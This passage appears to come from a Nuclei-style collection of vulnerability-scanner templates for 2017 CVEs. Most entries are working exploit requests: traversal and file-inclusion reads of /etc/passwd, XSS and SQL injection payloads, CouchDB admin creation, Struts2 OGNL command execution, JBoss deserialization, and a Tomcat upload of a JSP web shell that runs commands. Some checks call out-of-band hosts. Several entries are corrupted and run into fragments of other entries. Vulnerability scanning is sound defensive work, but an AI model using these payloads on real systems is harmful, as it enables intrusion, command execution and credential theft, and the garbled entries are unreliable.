information","com.thoughtworks.xstream.converters.collections.MapConverter"],"condition":"and"},{"type":"status","status":[500]}]}]},{"id":"CVE-2017-14849","info":{"name":"Node.js <8.6.0 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/static/../../../a/../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-12635","info":{"name":"Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation","severity":"critical"},"requests":[{"raw":["PUT /_users/org.couchdb.user:poc HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json\n\n{\n \"type\": \"user\",\n \"name\": \"poc\",\n \"roles\": [\"_admin\"],\n \"roles\": [],\n \"password\": \"123456\"\n}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json","Location:"]},{"type":"word","part":"body","words":["org.couchdb.user:poc","conflict","Document update conflict"]},{"type":"status","status":[201,409]}]}]},{"id":"CVE-2017-18542","info":{"name":"Zendesk Help Center by BestWebSoft < 1.0.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/zendesk-help-center/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Zendesk Help Center by BestWebSoft\")"],"condition":"and"}]}]},{"id":"CVE-2017-11629","info":{"name":"FineCMS <=5.0.10 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?c=api&m=data2&function=%3Cscript%3Ealert(document.domain)%3C/script%3Ep&format=php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["p\u4e0d\u5b58\u5728"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-12138","info":{"name":"XOOPS Core 2.5.8 - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /user.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuname={{username}}&pass={{password}}&xoops_redirect=%2Findex.php&op=login\n","GET /modules/profile/index.php?op=main&xoops_redirect=https:www.interact.sh HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2017-11444","info":{"name":"Subrion CMS <4.1.5.10 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%27{{hex_string}}%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{string}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-12617","info":{"name":"Apache Tomcat - Remote Code Execution","severity":"high"},"requests":[{"raw":["PUT /{{randstr}}.jsp/ HTTP/1.1\nHost: {{Hostname}}\n\n<% out.println(\"CVE-2017-12617\");%>\n","GET /{{randstr}}.jsp HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["CVE-2017-12617"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-12615","info":{"name":"Apache Tomcat Servers - Remote Code Execution","severity":"high"},"requests":[{"method":"PUT","path":["{{BaseURL}}/poc.jsp/"],"body":"<%@ page import=\"java.util.*,java.io.*\"%>\n<%\nif (request.getParameter(\"cmd\") != null) {\n out.println(\"Command: \" + request.getParameter(\"cmd\") + \"
\");\n Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n OutputStream os = p.getOutputStream();\n InputStream in = p.getInputStream();\n DataInputStream dis = new DataInputStream(in);\n String disr = dis.readLine();\n while ( disr != null ) {\n out.println(disr);\n disr = dis.readLine();\n }\n }\n%>\n","headers":{"Content-Type":"application/x-www-form-urlencoded"}},{"method":"GET","path":["{{BaseURL}}/poc.jsp?cmd=cat+%2Fetc%2Fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-3132","info":{"name":"Fortinet FortiOS < 5.6.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/p/user/ftoken/activate/user/guest/?action=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["var action = '\\\">All\")","contains(body_3, \"LinkedIn by BestWebSoft\")"],"condition":"and"}]}]},{"id":"CVE-2017-9506","info":{"name":"Atlassian Jira IconURIServlet - Cross-Site Scripting/Server-Side Request Forgery","severity":"medium"},"requests":[{"raw":["GET /plugins/servlet/oauth/users/icon-uri?consumerUri=http://{{interactsh-url}} HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2017-5521","info":{"name":"NETGEAR Routers - Authentication Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/passwordrecovered.cgi?id={{rand_base(5)}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["right\">Router\\s*Admin\\s*Username<","right\">Router\\s*Admin\\s*Password<"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-18532","info":{"name":"Realty by BestWebSoft < 1.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/realty/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Realty by BestWebSoft\")"],"condition":"and"}]}]},{"id":"CVE-2017-1000170","info":{"name":"WordPress Delightful Downloads Jquery File Tree 2.1.5 - Local File Inclusion","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php"],"body":"dir=%2Fetc%2F&onlyFiles=true","matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
  • ","passwd
    • "],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-18565","info":{"name":"Updater by BestWebSoft < 1.35 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/updater/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Updater by BestWebSoft\")"],"condition":"and"}]}]},{"id":"CVE-2017-18537","info":{"name":"Visitors Online by BestWebSoft < 1.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/visitors-online/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Visitors Online by\")"],"condition":"and"}]}]},{"id":"CVE-2017-15647","info":{"name":"FiberHome Routers - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/webproc?getpage=/etc/passwd&var:language=en_us&var:page=wizardfifth"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-1000028","info":{"name":"Oracle GlassFish Server Open Source Edition 4.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd","{{BaseURL}}/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"dsl","dsl":["regex('root:.*:0:0:', body)","status_code == 200"],"condition":"and"},{"type":"dsl","dsl":["contains(body, 'bit app support')","contains(body, 'fonts')","contains(body, 'extensions')","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2017-5982","info":{"name":"Kodi 17.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-12544","info":{"name":"HPE System Management - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/gsearch.php.en?prod=';prompt`document.domain`;//"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["var prodName = '';prompt`document.domain`;//';"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-8229","info":{"name":"Amcrest IP Camera Web Management - Data Exposure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/current_config/Sha1Account1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DevInformation","SerialID"],"condition":"and"},{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-12149","info":{"name":"Jboss Application Server - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /invoker/JMXInvokerServlet/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/octet-stream\n\n{{ base64_decode(\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==\") }}\n","POST /invoker/EJBInvokerServlet/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/octet-stream\n\n{{ base64_decode(\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==\") }}\n","POST /invoker/readonly HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/octet-stream\n\n{{ base64_decode(\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==\") }}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"response","words":["JBoss","ClassCastException"],"condition":"and","case-insensitive":true},{"type":"status","status":[200,500]}]}]},{"id":"CVE-2017-18566","info":{"name":"User Role by BestWebSoft < 1.5.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/user-role/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"User Role by BestWebSoft\")"],"condition":"and"}]}]},{"id":"CVE-2017-18491","info":{"name":"Contact Form by BestWebSoft < 4.0.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/contact-form-plugin/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Contact Form by\")"],"condition":"and"}]}]},{"id":"CVE-2017-5868","info":{"name":"OpenVPN Access Server 2.1.4 - CRLF Injection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/__session_start__/%0aSet-Cookie:%20crlfinjection=1;"],"matchers-condition":"and","matchers":[{"type":"regex","part":"header","regex":["^Set-Cookie: crlfinjection=1;"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2017-14186","info":{"name":"FortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["location=decodeURIComponent(\"javascript%3Aalert%28document.domain%29\""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-17451","info":{"name":"WordPress Mailster <=1.5.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/wp-mailster/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["WP Mailster ="]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wp-mailster/view/subscription/unsubscribe2.php?mes=%3C%2Fscript%3E%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-11586","info":{"name":"FineCMS <5.0.9 - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /index.php?s=member&c=login&m=index HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nback=&data%5Busername%5D={{username}}&data%5Bpassword%5D={{password}}&data%5Bauto%5D=1\n","GET /index.php?c=weixin&m=sync&url=http://interact.sh HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"regex","part":"header","regex":["Refresh:(.*)url=http:\\/\\/interact\\.sh"]}]}]},{"id":"CVE-2017-1000163","info":{"name":"Phoenix Framework - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?redirect=/\\interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_]*\\.)?interact\\.sh(?:\\s*?)$"]}]}]},{"id":"CVE-2017-18528","info":{"name":"PDF & Print by BestWebSoft < 1.9.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/pdf-print/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"PDF & Print by BestWebSoft\")"],"condition":"and"}]}]},{"id":"CVE-2017-17562","info":{"name":"Embedthis GoAhead <3.6.5 - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /cgi-bin/{{endpoint}}?LD_DEBUG=help HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"payloads":{"endpoint":["admin","apply","non-CA-rev","cgitest","checkCookie","check_user","chn/liveView","cht/liveView","cnswebserver","config","configure/set_link_neg","configure/swports_adjust","eng/liveView","firmware","getCheckCode","get_status","getmac","getparam","guest/Login","home","htmlmgr","index","index/login","jscript","kvm","liveView","login","login.asp","login/login","login/login-page","login_mgr","luci","main","main-cgi","manage/login","menu","mlogin","netbinary","nobody/Captcha","nobody/VerifyCode","normal_userLogin","otgw","page","rulectl","service","set_new_config","sl_webviewer","ssi","status","sysconf","systemutil","t/out","top","unauth","upload","variable","wanstatu","webcm","webmain","webproc","webscr","webviewLogin","webviewLogin_m64","webviewer","welcome"]},"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["environment variable","display library search paths"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-18529","info":{"name":"PromoBar by BestWebSoft < 1.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/promobar/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"PromoBar by BestWebSoft\")"],"condition":"and"}]}]},{"id":"CVE-2017-18490","info":{"name":"Contact Form Multi by BestWebSoft < 1.2.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/contact-form-multi/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Contact Form Multi by\")"],"condition":"and"}]}]},{"id":"CVE-2017-18494","info":{"name":"Custom Search by BestWebSoft < 1.36 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/custom-search-plugin/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Custom Search by\")"],"condition":"and"}]}]},{"id":"CVE-2017-3528","info":{"name":"Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=%2f%5cinteract.sh"],"matchers":[{"type":"word","part":"body","words":["noresize src=\"/\\interact.sh?configName="]}]}]},{"id":"CVE-2017-12542","info":{"name":"HPE Integrated Lights-out 4 (ILO4) <2.53 - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/rest/v1/AccountService/Accounts"],"headers":{"Connection":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAA"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["iLO User"]},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-14524","info":{"name":"OpenText Documentum Administrator 7.2.0180.0055 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/xda/help/en/default.htm?startat=//oast.me"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_]*\\.)?oast\\.me(?:\\s*?)$"]}]}]},{"id":"CVE-2017-15363","info":{"name":"Luracast Restler 3.0.1 via TYPO3 Restler 1.7.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\\\">All\")","contains(body_3, \"Google Analytics by BestWebSoft\")"],"condition":"and"}]}]},{"id":"CVE-2017-18024","info":{"name":"AvantFAX 3.3.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin&password=admin&_submit_check=1&jlbqgb7g0x=1\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","AvantFAX"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-0929","info":{"name":"DotNetNuke (DNN) ImageHandler <9.2.0 - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/DnnImageHandler.ashx?mode=file&url=http://{{interactsh-url}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2017-4011","info":{"name":"McAfee Network Data Loss Prevention 9.3.x - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"headers":{"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1';alert(/XSS/);//"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["var ua='Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1';alert(/XSS/);//"]},{"type":"word","part":"header","words":["text/html"]}]}]},{"id":"CVE-2017-12611","info":{"name":"Apache Struts2 S2-053 - Remote Code Execution","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-18493","info":{"name":"Custom Admin Page by BestWebSoft < 0.1.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/custom-admin-page/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Custom Admin Page by\")"],"condition":"and"}]}]},{"id":"CVE-2017-18536","info":{"name":"WordPress Stop User Enumeration <=1.3.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?author=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["forbidden - number in author",""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-16894","info":{"name":"Laravel <5.5.21 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/.env"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["APP_NAME=","APP_DEBUG=","DB_PASSWORD="],"condition":"and"},{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-18518","info":{"name":"SMTP by BestWebSoft < 1.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/bws-smtp/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"SMTP by BestWebSoft\")"],"condition":"and"}]}]},{"id":"CVE-2017-9288","info":{"name":"WordPress Raygun4WP <=1.8.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/raygun4wp/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Raygun4WP","Tags:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/raygun4wp/sendtesterror.php?backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-1000029","info":{"name":"Oracle GlassFish Server Open Source Edition 3.0.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/resource/file%3a///etc/passwd/"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-7921","info":{"name":"Hikvision - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/system/deviceInfo?auth=YWRtaW46MTEK"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["application/xml"]}]}]},{"id":"CVE-2017-6090","info":{"name":"PhpColl 2.5.1 Arbitrary File Upload","severity":"high"},"requests":[{"raw":["POST /clients/editclient.php?id={{randstr}}&action=update HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------154934846911423734231554128137\n\n-----------------------------154934846911423734231554128137\nContent-Disposition: form-data; name=\"upload\"; filename=\"{{randstr}}.php\"\nContent-Type: application/x-php\n\n\n\n-----------------------------154934846911423734231554128137--\n","GET /logos_clients/{{randstr}}.php HTTP/1.1\nHost: 